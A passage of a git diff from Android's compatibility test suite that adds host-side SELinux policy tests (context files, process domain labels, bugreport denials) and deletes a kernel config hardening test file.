+        String expectedLine, actualLine;
+        while ((expectedLine = expectedReader.readLine()) != null) {
+            actualLine = actualReader.readLine();
+            assertEquals("Lines do not match:", expectedLine, actualLine);
+        }
+    }
+
+    /**
+     * Tests that the seapp_contexts file on the device contains
+     * the standard AOSP entries.
+     *
+     * @throws Exception
+     */
+    @CddTest(requirement="9.7")
+    public void testAospSeappContexts() throws Exception {
+
+        /* obtain seapp_contexts file from running device */
+        devicePlatSeappFile = File.createTempFile("seapp_contexts", ".tmp");
+        devicePlatSeappFile.deleteOnExit();
+        if (!mDevice.pullFile("/system/etc/selinux/plat_seapp_contexts", devicePlatSeappFile)) {
+            mDevice.pullFile("/plat_seapp_contexts", devicePlatSeappFile);
+        }
+        /* retrieve the AOSP seapp_contexts file from jar */
+        aospSeappFile = copyResourceToTempFile("/plat_seapp_contexts");
+
+        assertFileStartsWith(aospSeappFile, devicePlatSeappFile);
+    }
+
+    /**
+     * Tests that the file_contexts.bin file on the device contains
+     * the standard AOSP entries.
+     *
+     * @throws Exception
+     */
+    @CddTest(requirement="9.7")
+    public void testAospFileContexts() throws Exception {
+
+        /* retrieve the checkfc executable from jar */
+        checkFc = copyResourceToTempFile("/checkfc");
+        checkFc.setExecutable(true);
+
+        /* retrieve the AOSP file_contexts file from jar */
+        aospFcFile = copyResourceToTempFile("/plat_file_contexts");
+
+        /* run checkfc -c plat_file_contexts file_contexts.bin */
+        ProcessBuilder pb = new ProcessBuilder(checkFc.getAbsolutePath(),
+                "-c", aospFcFile.getAbsolutePath(),
+                devicePlatFcFile.getAbsolutePath());
+        pb.redirectOutput(ProcessBuilder.Redirect.PIPE);
+        pb.redirectErrorStream(true);
+        Process p = pb.start();
+        p.waitFor();
+        BufferedReader result = new BufferedReader(new InputStreamReader(p.getInputStream()));
+        String line = result.readLine();
+        assertTrue("The file_contexts file did not include the AOSP entries:\n"
+                   + line + "\n",
+                   line.equals("equal") || line.equals("subset"));
+    }
+
+    /**
+     * Tests that the property_contexts file on the device contains
+     * the standard AOSP entries.
+     *
+     * @throws Exception
+     */
+    @CddTest(requirement="9.7")
+    public void testAospPropertyContexts() throws Exception {
+
+        /* obtain property_contexts file from running device */
+        devicePcFile = File.createTempFile("plat_property_contexts", ".tmp");
+        devicePcFile.deleteOnExit();
+        // plat_property_contexts may be either in /system/etc/sepolicy or in /
+        if (!mDevice.pullFile("/system/etc/selinux/plat_property_contexts", devicePcFile)) {
+            mDevice.pullFile("/plat_property_contexts", devicePcFile);
+        }
+
+        // Retrieve the AOSP property_contexts file from JAR.
+        // The location of this file in the JAR has nothing to do with the location of this file on
+        // Android devices. See build script of this CTS module.
+        aospPcFile = copyResourceToTempFile("/plat_property_contexts");
+
+        assertFileStartsWith(aospPcFile, devicePcFile);
+    }
+
+    /**
+     * Tests that the service_contexts file on the device contains
+     * the standard AOSP entries.
+     *
+     * @throws Exception
+     */
+    @CddTest(requirement="9.7")
+    public void testAospServiceContexts() throws Exception {
+
+        /* obtain service_contexts file from running device */
+        deviceSvcFile = File.createTempFile("service_contexts", ".tmp");
+        deviceSvcFile.deleteOnExit();
+        if (!mDevice.pullFile("/system/etc/selinux/plat_service_contexts", deviceSvcFile)) {
+            mDevice.pullFile("/plat_service_contexts", deviceSvcFile);
+        }
+
+        /* retrieve the AOSP service_contexts file from jar */
+        aospSvcFile = copyResourceToTempFile("/plat_service_contexts");
+
+        assertFileStartsWith(aospSvcFile, deviceSvcFile);
+    }
+
+    /**
+     * Tests that the file_contexts file(s) on the device is valid.
+     *
+     * @throws Exception
+     */
+    @CddTest(requirement="9.7")
+    public void testValidFileContexts() throws Exception {
+
+        /* retrieve the checkfc executable from jar */
+        checkFc = copyResourceToTempFile("/checkfc");
+        checkFc.setExecutable(true);
+
+        /* combine plat and nonplat policies for testing */
+        File combinedFcFile = File.createTempFile("combined_file_context", ".tmp");
+        combinedFcFile.deleteOnExit();
+        appendTo(combinedFcFile.getAbsolutePath(), devicePlatFcFile.getAbsolutePath());
+        appendTo(combinedFcFile.getAbsolutePath(), deviceNonplatFcFile.getAbsolutePath());
+
+        /* run checkfc sepolicy file_contexts */
+        ProcessBuilder pb = new ProcessBuilder(checkFc.getAbsolutePath(),
+                devicePolicyFile.getAbsolutePath(),
+                combinedFcFile.getAbsolutePath());
+        pb.redirectOutput(ProcessBuilder.Redirect.PIPE);
+        pb.redirectErrorStream(true);
+        Process p = pb.start();
+        p.waitFor();
+        BufferedReader result = new BufferedReader(new InputStreamReader(p.getInputStream()));
+        String line;
+        StringBuilder errorString = new StringBuilder();
+        while ((line = result.readLine()) != null) {
+            errorString.append(line);
+            errorString.append("\n");
+        }
+        assertTrue("file_contexts was invalid:\n"
+                   + errorString, errorString.length() == 0);
+    }
+
+    /**
+     * Tests that the property_contexts file on the device is valid.
+     *
+     * @throws Exception
+     */
+    @CddTest(requirement="9.7")
+    public void testValidPropertyContexts() throws Exception {
+
+        /* retrieve the checkfc executable from jar */
+        File propertyInfoChecker = copyResourceToTempFile("/property_info_checker");
+        propertyInfoChecker.setExecutable(true);
+
+        /* obtain property_contexts file from running device */
+        devicePcFile = File.createTempFile("property_contexts", ".tmp");
+        devicePcFile.deleteOnExit();
+        // plat_property_contexts may be either in /system/etc/sepolicy or in /
+        if (!mDevice.pullFile("/system/etc/selinux/plat_property_contexts", devicePcFile)) {
+            mDevice.pullFile("/plat_property_contexts", devicePcFile);
+        }
+
+        /* run property_info_checker on property_contexts */
+        ProcessBuilder pb = new ProcessBuilder(propertyInfoChecker.getAbsolutePath(),
+                devicePolicyFile.getAbsolutePath(),
+                devicePcFile.getAbsolutePath());
+        pb.redirectOutput(ProcessBuilder.Redirect.PIPE);
+        pb.redirectErrorStream(true);
+        Process p = pb.start();
+        p.waitFor();
+        BufferedReader result = new BufferedReader(new InputStreamReader(p.getInputStream()));
+        String line;
+        StringBuilder errorString = new StringBuilder();
+        while ((line = result.readLine()) != null) {
+            errorString.append(line);
+            errorString.append("\n");
+        }
+        assertTrue("The property_contexts file was invalid:\n"
+                   + errorString, errorString.length() == 0);
+    }
+
+    /**
+     * Tests that the service_contexts file on the device is valid.
+     *
+     * @throws Exception
+     */
+    @CddTest(requirement="9.7")
+    public void testValidServiceContexts() throws Exception {
+
+        /* retrieve the checkfc executable from jar */
+        checkFc = copyResourceToTempFile("/checkfc");
+        checkFc.setExecutable(true);
+
+        /* obtain service_contexts file from running device */
+        deviceSvcFile = File.createTempFile("service_contexts", ".tmp");
+        deviceSvcFile.deleteOnExit();
+        mDevice.pullFile("/service_contexts", deviceSvcFile);
+
+        /* run checkfc -s on service_contexts */
+        ProcessBuilder pb = new ProcessBuilder(checkFc.getAbsolutePath(),
+                "-s", devicePolicyFile.getAbsolutePath(),
+                deviceSvcFile.getAbsolutePath());
+        pb.redirectOutput(ProcessBuilder.Redirect.PIPE);
+        pb.redirectErrorStream(true);
+        Process p = pb.start();
+        p.waitFor();
+        BufferedReader result = new BufferedReader(new InputStreamReader(p.getInputStream()));
+        String line;
+        StringBuilder errorString = new StringBuilder();
+        while ((line = result.readLine()) != null) {
+            errorString.append(line);
+            errorString.append("\n");
+        }
+        assertTrue("The service_contexts file was invalid:\n"
+                   + errorString, errorString.length() == 0);
+    }
+
+    public static boolean isMac() {
+        String os = System.getProperty("os.name").toLowerCase();
+        return (os.startsWith("mac") || os.startsWith("darwin"));
+    }
+
+    private void setupLibraries() throws Exception {
+        // The host side binary tests are host OS specific. Use Linux
+        // libraries on Linux and Mac libraries on Mac.
+        if (isMac()) {
+            libsepolwrap = copyResourceToTempFile("/libsepolwrap.dylib");
+            libcpp = copyResourceToTempFile("/libc++.dylib");
+            libcpp.renameTo(new File(System.getProperty("java.io.tmpdir") + "/libc++.dylib"));
+        } else {
+            libsepolwrap = copyResourceToTempFile("/libsepolwrap.so");
+            libcpp = copyResourceToTempFile("/libc++.so");
+            libcpp.renameTo(new File(System.getProperty("java.io.tmpdir") + "/libc++.so"));
+        }
+        libsepolwrap.deleteOnExit();
+        libcpp.deleteOnExit();
+    }
+
+    private void assertSepolicyTests(String test, String testExecutable) throws Exception {
+        setupLibraries();
+        sepolicyTests = copyResourceToTempFile(testExecutable);
+        sepolicyTests.setExecutable(true);
+        ProcessBuilder pb = new ProcessBuilder(
+                sepolicyTests.getAbsolutePath(),
+                "-l", libsepolwrap.getAbsolutePath(),
+                "-f", devicePlatFcFile.getAbsolutePath(),
+                "-f", deviceNonplatFcFile.getAbsolutePath(),
+                "-p", devicePolicyFile.getAbsolutePath(),
+                "--test", test);
+        Map<String, String> env = pb.environment();
+        if (isMac()) {
+            env.put("DYLD_LIBRARY_PATH", System.getProperty("java.io.tmpdir"));
+        } else {
+            env.put("LD_LIBRARY_PATH", System.getProperty("java.io.tmpdir"));
+        }
+        pb.redirectOutput(ProcessBuilder.Redirect.PIPE);
+        pb.redirectErrorStream(true);
+        Process p = pb.start();
+        p.waitFor();
+        BufferedReader result = new BufferedReader(new InputStreamReader(p.getInputStream()));
+        String line;
+        StringBuilder errorString = new StringBuilder();
+        while ((line = result.readLine()) != null) {
+            errorString.append(line);
+            errorString.append("\n");
+        }
+        assertTrue(errorString.toString(), errorString.length() == 0);
+    }
+
+    /**
+     * Tests that all types on /data have the data_file_type attribute.
+     *
+     * @throws Exception
+     */
+    public void testDataTypeViolators() throws Exception {
+        assertSepolicyTests("TestDataTypeViolations", "/sepolicy_tests");
+    }
+
+    /**
+     * Tests that all types in /proc have the proc_type attribute.
+     *
+     * @throws Exception
+     */
+    public void testProcTypeViolators() throws Exception {
+        assertSepolicyTests("TestProcTypeViolations", "/sepolicy_tests");
+    }
+
+    /**
+     * Tests that all types in /sys have the sysfs_type attribute.
+     *
+     * @throws Exception
+     */
+    public void testSysfsTypeViolators() throws Exception {
+        assertSepolicyTests("TestSysfsTypeViolations", "/sepolicy_tests");
+    }
+
+    /**
+     * Tests that all types on /vendor have the vendor_file_type attribute.
+     *
+     * @throws Exception
+     */
+    public void testVendorTypeViolators() throws Exception {
+        assertSepolicyTests("TestVendorTypeViolations", "/sepolicy_tests");
+    }
+
+    /**
+     * Tests that all domains with entrypoints on /system have the coredomain
+     * attribute, and that all domains with entrypoints on /vendor do not have the
+     * coredomain attribute.
+     *
+     * @throws Exception
+     */
+    public void testCoredomainViolators() throws Exception {
+        assertSepolicyTests("CoredomainViolations", "/treble_sepolicy_tests");
+    }
+
+   /**
+     * Tests that the policy defines no booleans (runtime conditional policy).
+     *
+     * @throws Exception
+     */
+    @CddTest(requirement="9.7")
+    public void testNoBooleans() throws Exception {
+
+        /* run sepolicy-analyze booleans check on policy file */
+        ProcessBuilder pb = new ProcessBuilder(sepolicyAnalyze.getAbsolutePath(),
+                devicePolicyFile.getAbsolutePath(), "booleans");
+        pb.redirectOutput(ProcessBuilder.Redirect.PIPE);
+        pb.redirectErrorStream(true);
+        Process p = pb.start();
+        p.waitFor();
+        BufferedReader result = new BufferedReader(new InputStreamReader(p.getInputStream()));
+        String line;
+        StringBuilder errorString = new StringBuilder();
+        while ((line = result.readLine()) != null) {
+            errorString.append(line);
+            errorString.append("\n");
+        }
+        assertTrue("The policy contained booleans:\n"
+                   + errorString, errorString.length() == 0);
+    }
+
+   /**
+     * Tests that taking a bugreport does not produce any dumpstate-related
+     * SELinux denials.
+     *
+     * @throws Exception
+     */
+    public void testNoBugreportDenials() throws Exception {
+        // Take a bugreport and get its logcat output.
+        mDevice.executeAdbCommand("logcat", "-c");
+        mDevice.getBugreport();
+        String log = mDevice.executeAdbCommand("logcat", "-d");
+        // Find all the dumpstate-related types and make a regex that will match them.
+        Set<String> types = sepolicyAnalyzeGetTypesAssociatedWithAttribute("hal_dumpstate_server");
+        types.add("dumpstate");
+        String typeRegex = types.stream().collect(Collectors.joining("|"));
+        Pattern p = Pattern.compile("avc: *denied.*scontext=u:(?:r|object_r):(?:" + typeRegex + "):s0.*");
+        // Fail if logcat contains such a denial.
+        Matcher m = p.matcher(log);
+        if (m.find())
+            fail("Found illegal SELinux denial: " + m.group());
+    }
+
+    /**
+     * Tests that important domain labels are being appropriately applied.
+     */
+
+    /**
+     * Asserts that no processes are running in a domain.
+     *
+     * @param domain
+     *  The domain or SELinux context to check.
+     */
+    private void assertDomainEmpty(String domain) throws DeviceNotAvailableException {
+        List<ProcessDetails> procs = ProcessDetails.getProcMap(mDevice).get(domain);
+        String msg = "Expected no processes in SELinux domain \"" + domain + "\""
+            + " Found: \"" + procs + "\"";
+        assertNull(msg, procs);
+    }
+
+    /**
+     * Asserts that a domain exists and that only one, well defined, process is
+     * running in that domain.
+     *
+     * @param domain
+     *  The domain or SELinux context to check.
+     * @param executable
+     *  The path of the executable or application package name.
+     */
+    private void assertDomainOne(String domain, String executable) throws DeviceNotAvailableException {
+        List<ProcessDetails> procs = ProcessDetails.getProcMap(mDevice).get(domain);
+        List<ProcessDetails> exeProcs = ProcessDetails.getExeMap(mDevice).get(executable);
+        String msg = "Expected 1 process in SELinux domain \"" + domain + "\""
+            + " Found \"" + procs + "\"";
+        assertNotNull(msg, procs);
+        assertEquals(msg, 1, procs.size());
+
+        msg = "Expected executable \"" + executable + "\" in SELinux domain \"" + domain + "\""
+            + "Found: \"" + procs + "\"";
+        assertEquals(msg, executable, procs.get(0).procTitle);
+
+        msg = "Expected 1 process with executable \"" + executable + "\""
+            + " Found \"" + procs + "\"";
+        assertNotNull(msg, exeProcs);
+        assertEquals(msg, 1, exeProcs.size());
+
+        msg = "Expected executable \"" + executable + "\" in SELinux domain \"" + domain + "\""
+            + "Found: \"" + procs + "\"";
+        assertEquals(msg, domain, exeProcs.get(0).label);
+    }
+
+    /**
+     * Asserts that a domain may exist. If a domain exists, the cardinality of
+     * the domain is verified to be 1 and that the correct process is running in
+     * that domain.
+     *
+     * @param domain
+     *  The domain or SELinux context to check.
+     * @param executable
+     *  The path of the executable or application package name.
+     */
+    private void assertDomainZeroOrOne(String domain, String executable)
+        throws DeviceNotAvailableException {
+        List<ProcessDetails> procs = ProcessDetails.getProcMap(mDevice).get(domain);
+        List<ProcessDetails> exeProcs = ProcessDetails.getExeMap(mDevice).get(executable);
+
+        if (procs != null) {
+            String msg = "Expected 1 process in SELinux domain \"" + domain + "\""
+            + " Found: \"" + procs + "\"";
+            assertEquals(msg, 1, procs.size());
+
+            msg = "Expected executable \"" + executable + "\" in SELinux domain \"" + domain + "\""
+                + "Found: \"" + procs.get(0) + "\"";
+            assertEquals(msg, executable, procs.get(0).procTitle);
+        }
+
+        if (exeProcs != null) {
+            String msg = "Expected 1 process with executable \"" + executable + "\""
+            + " Found: \"" + procs + "\"";
+            assertEquals(msg, 1, exeProcs.size());
+
+            msg = "Expected executable \"" + executable + "\" in SELinux domain \"" + domain + "\""
+                + "Found: \"" + procs.get(0) + "\"";
+            assertEquals(msg, domain, exeProcs.get(0).label);
+        }
+    }
+
+    /**
+     * Asserts that a domain must exist, and that the cardinality is greater
+     * than or equal to 1.
+     *
+     * @param domain
+     *  The domain or SELinux context to check.
+     * @param executables
+     *  The path of the allowed executables or application package names.
+     */
+    private void assertDomainN(String domain, String... executables)
+        throws DeviceNotAvailableException {
+        List<ProcessDetails> procs = ProcessDetails.getProcMap(mDevice).get(domain);
+        String msg = "Expected 1 or more processes in SELinux domain but found none.";
+        assertNotNull(msg, procs);
+
+        Set<String> execList = new HashSet<String>(Arrays.asList(executables));
+
+        for (ProcessDetails p : procs) {
+            msg = "Expected one of \"" + execList + "\" in SELinux domain \"" + domain + "\""
+                + " Found: \"" + p + "\"";
+            assertTrue(msg, execList.contains(p.procTitle));
+        }
+
+        for (String exe : executables) {
+            List<ProcessDetails> exeProcs = ProcessDetails.getExeMap(mDevice).get(exe);
+
+            if (exeProcs != null) {
+                for (ProcessDetails p : exeProcs) {
+                    msg = "Expected executable \"" + exe + "\" in SELinux domain \""
+                        + domain + "\"" + " Found: \"" + p + "\"";
+                    assertEquals(msg, domain, p.label);
+                }
+            }
+        }
+    }
+
+    /**
+     * Asserts that a domain, if it exists, is only running the listed executables.
+     *
+     * @param domain
+     *  The domain or SELinux context to check.
+     * @param executables
+     *  The path of the allowed executables or application package names.
+     */
+    private void assertDomainHasExecutable(String domain, String... executables)
+        throws DeviceNotAvailableException {
+        List<ProcessDetails> procs = ProcessDetails.getProcMap(mDevice).get(domain);
+
+        if (procs != null) {
+            Set<String> execList = new HashSet<String>(Arrays.asList(executables));
+
+            for (ProcessDetails p : procs) {
+                String msg = "Expected one of \"" + execList + "\" in SELinux domain \""
+                    + domain + "\"" + " Found: \"" + p + "\"";
+                assertTrue(msg, execList.contains(p.procTitle));
+            }
+        }
+    }
+
+    /**
+     * Asserts that an executable exists and is only running in the listed domains.
+     *
+     * @param executable
+     *  The path of the executable to check.
+     * @param domains
+     *  The list of allowed domains.
+     */
+    private void assertExecutableHasDomain(String executable, String... domains)
+        throws DeviceNotAvailableException {
+        List<ProcessDetails> exeProcs = ProcessDetails.getExeMap(mDevice).get(executable);
+        Set<String> domainList = new HashSet<String>(Arrays.asList(domains));
+
+        String msg = "Expected 1 or more processes for executable \"" + executable + "\".";
+        assertNotNull(msg, exeProcs);
+
+        for (ProcessDetails p : exeProcs) {
+            msg = "Expected one of  \"" + domainList + "\" for executable \"" + executable
+                    + "\"" + " Found: \"" + p.label + "\"";
+            assertTrue(msg, domainList.contains(p.label));
+        }
+    }
+
+    /* Init is always there */
+    @CddTest(requirement="9.7")
+    public void testInitDomain() throws DeviceNotAvailableException {
+        assertDomainHasExecutable("u:r:init:s0", "/system/bin/init");
+        assertDomainHasExecutable("u:r:vendor_init:s0", "/system/bin/init");
+        assertExecutableHasDomain("/system/bin/init", "u:r:init:s0", "u:r:vendor_init:s0");
+    }
+
+    /* Ueventd is always there */
+    @CddTest(requirement="9.7")
+    public void testUeventdDomain() throws DeviceNotAvailableException {
+        assertDomainOne("u:r:ueventd:s0", "/system/bin/ueventd");
+    }
+
+    /* healthd may or may not exist */
+    @CddTest(requirement="9.7")
+    public void testHealthdDomain() throws DeviceNotAvailableException {
+        assertDomainZeroOrOne("u:r:healthd:s0", "/system/bin/healthd");
+    }
+
+    /* Servicemanager is always there */
+    @CddTest(requirement="9.7")
+    public void testServicemanagerDomain() throws DeviceNotAvailableException {
+        assertDomainOne("u:r:servicemanager:s0", "/system/bin/servicemanager");
+    }
+
+    /* Vold is always there */
+    @CddTest(requirement="9.7")
+    public void testVoldDomain() throws DeviceNotAvailableException {
+        assertDomainOne("u:r:vold:s0", "/system/bin/vold");
+    }
+
+    /* netd is always there */
+    @CddTest(requirement="9.7")
+    public void testNetdDomain() throws DeviceNotAvailableException {
+        assertDomainN("u:r:netd:s0", "/system/bin/netd", "/system/bin/iptables-restore", "/system/bin/ip6tables-restore");
+    }
+
+    /* Surface flinger is always there */
+    @CddTest(requirement="9.7")
+    public void testSurfaceflingerDomain() throws DeviceNotAvailableException {
+        assertDomainOne("u:r:surfaceflinger:s0", "/system/bin/surfaceflinger");
+    }
+
+    /* Zygote is always running */
+    @CddTest(requirement="9.7")
+    public void testZygoteDomain() throws DeviceNotAvailableException {
+        assertDomainN("u:r:zygote:s0", "zygote", "zygote64");
+    }
+
+    /* Checks drmserver for devices that require it */
+    @CddTest(requirement="9.7")
+    public void testDrmServerDomain() throws DeviceNotAvailableException {
+        assertDomainZeroOrOne("u:r:drmserver:s0", "/system/bin/drmserver");
+    }
+
+    /* Installd is always running */
+    @CddTest(requirement="9.7")
+    public void testInstalldDomain() throws DeviceNotAvailableException {
+        assertDomainOne("u:r:installd:s0", "/system/bin/installd");
+    }
+
+    /* keystore is always running */
+    @CddTest(requirement="9.7")
+    public void testKeystoreDomain() throws DeviceNotAvailableException {
+        assertDomainOne("u:r:keystore:s0", "/system/bin/keystore");
+    }
+
+    /* System server better be running :-P */
+    @CddTest(requirement="9.7")
+    public void testSystemServerDomain() throws DeviceNotAvailableException {
+        assertDomainOne("u:r:system_server:s0", "system_server");
+    }
+
+    /* Watchdogd may or may not be there */
+    @CddTest(requirement="9.7")
+    public void testWatchdogdDomain() throws DeviceNotAvailableException {
+        assertDomainZeroOrOne("u:r:watchdogd:s0", "/system/bin/watchdogd");
+    }
+
+    /* logd may or may not be there */
+    @CddTest(requirement="9.7")
+    public void testLogdDomain() throws DeviceNotAvailableException {
+        assertDomainZeroOrOne("u:r:logd:s0", "/system/bin/logd");
+    }
+
+    /* lmkd may or may not be there */
+    @CddTest(requirement="9.7")
+    public void testLmkdDomain() throws DeviceNotAvailableException {
+        assertDomainZeroOrOne("u:r:lmkd:s0", "/system/bin/lmkd");
+    }
+
+    /* Wifi may be off so cardinality of 0 or 1 is ok */
+    @CddTest(requirement="9.7")
+    public void testWpaDomain() throws DeviceNotAvailableException {
+        assertDomainZeroOrOne("u:r:wpa:s0", "/system/bin/wpa_supplicant");
+    }
+
+    /*
+     * Nothing should be running in this domain, cardinality test is all thats
+     * needed
+     */
+    @CddTest(requirement="9.7")
+    public void testInitShellDomain() throws DeviceNotAvailableException {
+        assertDomainEmpty("u:r:init_shell:s0");
+    }
+
+    /*
+     * Nothing should be running in this domain, cardinality test is all thats
+     * needed
+     */
+    @CddTest(requirement="9.7")
+    public void testRecoveryDomain() throws DeviceNotAvailableException {
+        assertDomainEmpty("u:r:recovery:s0");
+    }
+
+    /*
+     * Nothing should be running in this domain, cardinality test is all thats
+     * needed
+     */
+    @CddTest(requirement="9.7")
+    @RestrictedBuildTest
+    public void testSuDomain() throws DeviceNotAvailableException {
+        assertDomainEmpty("u:r:su:s0");
+    }
+
+    /*
+     * All kthreads should be in kernel context.
+     */
+    @CddTest(requirement="9.7")
+    public void testKernelDomain() throws DeviceNotAvailableException {
+        String domain = "u:r:kernel:s0";
+        List<ProcessDetails> procs = ProcessDetails.getProcMap(mDevice).get(domain);
+        if (procs != null) {
+            for (ProcessDetails p : procs) {
+                assertTrue("Non Kernel thread \"" + p + "\" found!", p.isKernel());
+            }
+        }
+    }
+
+    private static class ProcessDetails {
+        public String label;
+        public String user;
+        public int pid;
+        public int ppid;
+        public String procTitle;
+
+        private static HashMap<String, ArrayList<ProcessDetails>> procMap;
+        private static HashMap<String, ArrayList<ProcessDetails>> exeMap;
+        private static int kernelParentThreadpid = -1;
+
+        ProcessDetails(String label, String user, int pid, int ppid, String procTitle) {
+            this.label = label;
+            this.user = user;
+            this.pid = pid;
+            this.ppid = ppid;
+            this.procTitle = procTitle;
+        }
+
+        @Override
+        public String toString() {
+            return "label: " + label
+                    + " user: " + user
+                    + " pid: " + pid
+                    + " ppid: " + ppid
+                    + " cmd: " + procTitle;
+        }
+
+
+        private static void createProcMap(ITestDevice tDevice) throws DeviceNotAvailableException {
+
+            /* take the output of a ps -Z to do our analysis */
+            CollectingOutputReceiver psOut = new CollectingOutputReceiver();
+            // TODO: remove "toybox" below and just run "ps"
+            tDevice.executeShellCommand("toybox ps -A -o label,user,pid,ppid,cmdline", psOut);
+            String psOutString = psOut.getOutput();
+            Pattern p = Pattern.compile(
+                    "^([\\w_:]+)\\s+([\\w_]+)\\s+(\\d+)\\s+(\\d+)\\s+(\\p{Graph}+)(\\s\\p{Graph}+)*\\s*$",
+                    Pattern.MULTILINE);
+            Matcher m = p.matcher(psOutString);
+            procMap = new HashMap<String, ArrayList<ProcessDetails>>();
+            exeMap = new HashMap<String, ArrayList<ProcessDetails>>();
+            while(m.find()) {
+                String domainLabel = m.group(1);
+                String user = m.group(2);
+                int pid = Integer.parseInt(m.group(3));
+                int ppid = Integer.parseInt(m.group(4));
+                String procTitle = m.group(5);
+                ProcessDetails proc = new ProcessDetails(domainLabel, user, pid, ppid, procTitle);
+                if (procMap.get(domainLabel) == null) {
+                    procMap.put(domainLabel, new ArrayList<ProcessDetails>());
+                }
+                procMap.get(domainLabel).add(proc);
+                if (procTitle.equals("[kthreadd]") && ppid == 0) {
+                    kernelParentThreadpid = pid;
+                }
+                if (exeMap.get(procTitle) == null) {
+                    exeMap.put(procTitle, new ArrayList<ProcessDetails>());
+                }
+                exeMap.get(procTitle).add(proc);
+            }
+        }
+
+        public static HashMap<String, ArrayList<ProcessDetails>> getProcMap(ITestDevice tDevice)
+                throws DeviceNotAvailableException{
+            if (procMap == null) {
+                createProcMap(tDevice);
+            }
+            return procMap;
+        }
+
+        public static HashMap<String, ArrayList<ProcessDetails>> getExeMap(ITestDevice tDevice)
+                throws DeviceNotAvailableException{
+            if (exeMap == null) {
+                createProcMap(tDevice);
+            }
+            return exeMap;
+        }
+
+        public boolean isKernel() {
+            return (pid == kernelParentThreadpid || ppid == kernelParentThreadpid);
+        }
+    }
+}
diff --git a/hostsidetests/security/src/android/security/cts/KernelConfigTest.java b/hostsidetests/security/src/android/security/cts/KernelConfigTest.java
deleted file mode 100644
index 09bee64..0000000
--- a/hostsidetests/security/src/android/security/cts/KernelConfigTest.java
+++ /dev/null
@@ -1,199 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.security.cts;
-
-import com.android.tradefed.build.IBuildInfo;
-import com.android.tradefed.device.ITestDevice;
-import com.android.tradefed.testtype.DeviceTestCase;
-import com.android.tradefed.testtype.IBuildReceiver;
-import com.android.tradefed.testtype.IDeviceTest;
-import com.android.compatibility.common.util.CddTest;
-import com.android.compatibility.common.util.CpuFeatures;
-import com.android.compatibility.common.util.PropertyUtil;
-
-import java.io.BufferedReader;
-import java.io.File;
-import java.io.FileInputStream;
-import java.io.InputStreamReader;
-import java.lang.String;
-import java.util.stream.Collectors;
-import java.util.HashMap;
-import java.util.HashSet;
-import java.util.Map;
-import java.util.zip.GZIPInputStream;
-
-/**
- * Host-side kernel config tests.
- *
- * These tests analyze /proc/config.gz to verify that certain kernel config options are set.
- */
-public class KernelConfigTest extends DeviceTestCase implements IBuildReceiver, IDeviceTest {
-
-    private static final Map<ITestDevice, HashSet<String>> cachedConfigGzSet = new HashMap<>(1);
-
-    private HashSet<String> configSet;
-
-    private ITestDevice mDevice;
-    private IBuildInfo mBuild;
-
-    /**
-     * {@inheritDoc}
-     */
-    @Override
-    public void setBuild(IBuildInfo build) {
-        mBuild = build;
-    }
-
-    /**
-     * {@inheritDoc}
-     */
-    @Override
-    public void setDevice(ITestDevice device) {
-        super.setDevice(device);
-        mDevice = device;
-    }
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        configSet = getDeviceConfig(mDevice, cachedConfigGzSet);
-    }
-
-    /*
-     * IMPLEMENTATION DETAILS: Cache the configurations from /proc/config.gz on per-device basis
-     * in case CTS is being run against multiple devices at the same time. This speeds up testing
-     * by avoiding pulling/parsing the config file for each individual test
-     */
-    private static HashSet<String> getDeviceConfig(ITestDevice device,
-            Map<ITestDevice, HashSet<String>> cache) throws Exception {
-        if (!device.doesFileExist("/proc/config.gz")){
-            throw new Exception();
-        }
-        HashSet<String> set;
-        synchronized (cache) {
-            set = cache.get(device);
-        }
-        if (set != null) {
-            return set;
-        }
-        File file = File.createTempFile("config.gz", ".tmp");
-        file.deleteOnExit();
-        device.pullFile("/proc/config.gz", file);
-
-        BufferedReader reader = new BufferedReader(new InputStreamReader(new GZIPInputStream(new FileInputStream(file))));
-        set = new HashSet<String>(reader.lines().collect(Collectors.toList()));
-
-        synchronized (cache) {
-            cache.put(device, set);
-        }
-        return set;
-    }
-
-    /**
-     * Test that the kernel has Stack Protector Strong enabled.
-     *
-     * @throws Exception
-     */
-    @CddTest(requirement="9.7/C-0-7")
-    public void testConfigStackProtectorStrong() throws Exception {
-        assertTrue("Linux kernel must have Stack Protector enabled: " +
-                "CONFIG_CC_STACKPROTECTOR_STRONG=y",
-                configSet.contains("CONFIG_CC_STACKPROTECTOR_STRONG=y"));
-    }
-
-    /**
-     * Test that the kernel's executable code is read-only, read-only data is non-executable and
-     * non-writable, and writable data is non-executable.
-     *
-     * @throws Exception
-     */
-    @CddTest(requirement="9.7/C-0-8")
-    public void testConfigROData() throws Exception {
-        if (configSet.contains("CONFIG_UH_RKP=y"))
-            return;
-
-        assertTrue("Linux kernel must have RO data enabled: " +
-                "CONFIG_DEBUG_RODATA=y or CONFIG_STRICT_KERNEL_RWX=y",
-                configSet.contains("CONFIG_DEBUG_RODATA=y") ||
-                configSet.contains("CONFIG_STRICT_KERNEL_RWX=y"));
-
-        if (configSet.contains("CONFIG_MODULES=y")) {
-            assertTrue("Linux kernel modules must also have RO data enabled: " +
-                    "CONFIG_DEBUG_SET_MODULE_RONX=y or CONFIG_STRICT_MODULE_RWX=y",
-                    configSet.contains("CONFIG_DEBUG_SET_MODULE_RONX=y") ||
-                    configSet.contains("CONFIG_STRICT_MODULE_RWX=y"));
-        }
-    }
-
-    /**
-     * Test that the kernel implements static and dynamic object size bounds checking of copies
-     * between user-space and kernel-space.
-     *
-     * @throws Exception
-     */
-    @CddTest(requirement="9.7")
-    public void testConfigHardenedUsercopy() throws Exception {
-        if (PropertyUtil.getFirstApiLevel(mDevice) < 28) {
-            return;
-        }
-
-        assertTrue("Linux kernel must have Hardened Usercopy enabled: CONFIG_HARDENED_USERCOPY=y",
-                configSet.contains("CONFIG_HARDENED_USERCOPY=y"));
-    }
-
-    /**
-     * Test that the kernel has PAN emulation enabled from architectures that support it.
-     *
-     * @throws Exception
-     */
-    @CddTest(requirement="9.7")
-    public void testConfigPAN() throws Exception {
-        if (PropertyUtil.getFirstApiLevel(mDevice) < 28) {
